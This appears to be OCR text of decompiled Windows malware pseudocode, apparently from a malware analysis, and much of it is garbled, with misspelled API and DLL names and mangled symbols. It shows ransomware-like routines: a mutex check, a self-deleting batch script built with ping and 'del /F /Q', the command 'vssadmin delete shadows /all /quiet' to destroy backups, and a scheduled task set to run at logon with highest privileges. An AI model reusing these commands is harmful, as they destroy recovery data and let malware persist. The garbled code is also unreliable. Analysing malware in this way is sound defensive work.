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call sub_ 405650
call sub_ 405870
call sub_ 405000
call =ub_405E30
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3Y ul? = 1665592991 ;
48| LoadLibrarya(“wlanapi.dl11");
1 LoadLibraryA{"'ntdll.d11"};
42| LoadLibraryf{"'mpr.d11");
43| LoadLibrarya(“iphlpapi.dll™);
44| sub_4@S64@(&v13, 9, &u7, 4);
45| WsAStartup(2u, &WSAData);
46| ColInitialize(8);
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= CreateFileW{. ., OxSUUWIOUY, 30, ¥, 30T, U, 0Y;

if (1= (HANDLE)-1 )

WsaData.lpVUendorInfo = @5

SetFilePointer{vS, -18248, B8, 2u);

ReadFile({ué, (LPUDID)u1, Bx28808u, (LPDWORD)&WSAData.lpUendorInfo, 8);
CloseHandle{uvd);
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ull = GetCommandLineW{)};
result = CommandLineToArguW{uvB, &v6);
if (v == 2 )
{
result = (LPWSTR #=)result[1];
if ( ={_WORD =)result == 180 && *={{_ WORD =)result + 1) )}
{
if { AttachConsole{@xFFFFFFFF) )
{

2 GetStdHandle{BxFFFFFFF5) ;
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18| v1 = GetCommandLineW({};
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CloseHandle{u1);

S5leepEx{B8x2A%8u, A);

CreateMutexna{d, 1, va);

if { GetLastError{) ==
result = 1;
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return result;
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uZ = @3
sub_4B9DDA{{int)&us);

U3 = sub_ 4BB1CA((int)&ua);
if ( v3 >=8)
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sub_489DDB({{int}&duHunber0fBytesavailable);
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sub_L4@872a8(v2);

{

result = @;
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else
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25 sub_489840/a1.
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38 sub_#0R260 ¢ duNumber0fBytesaAvailable
31 sub_4496F i’ a1, duNumberOfBytesAvailable. u7::
32 nhl:

33 sub_uB89F18( ' duNumber0fBytesavailable)
34 sub_489F180 ui,

35 result u2
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{const CHAR =)sub_ 4BAABB({"%s\\_ config%u.bat", u3)};
u5 = CreateFileA{uvl, Bx4B000800u, 7u, B, 2u, 0x182u, 0);
if { vS == {HAHDLE)-

ui = {const CHAR #=)sub_L4BARBA{

ug = u?f;
3 = 1lstrlenA{v?);
WeiteFilafnh. ug.
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" rabxi\ryn”

"ping 127.08.68.1 -n 2 > nulyriyn"
“del /A JF /O \EsSV\Wrwn

"if exist \%s\" goto abx\rin®
"del FA AF FQ \UESVUZWPADRT,

ul,

v, |

ully;
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u? = 156;
vB = GetVersionExA{(LPOSUERSIONINFOA)&V2);
if ¢ vo )

Ul = uvh + 18 * v3;
return sub_4B84F88({L"vssadmin™, L"delete shadows fall Ffquiet™, v@ > 68);
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! u3 = sub_4687DB(8u, 182);
| UersionInformation.dw0SUersionInfoSize = 156;
! if ( GetUersionExA{&UersionInformation)
' && (signed _ int32){VersionInformation.dwMinorVersion + 18 = UersionInformation.dwMajorVersion) > 68
' && sub_485118()
&8 sub_4B5188() )

1 if ( a2 )
vl = sub_4BAAFB{"/DELETE /TH /F ““%sy"", (char)uvi3);

» S ' /CREATE 7 TN \"%5\" /TR \"%5\" /SC ONLOGON /RL HIGHEST /F", (charjuf;;
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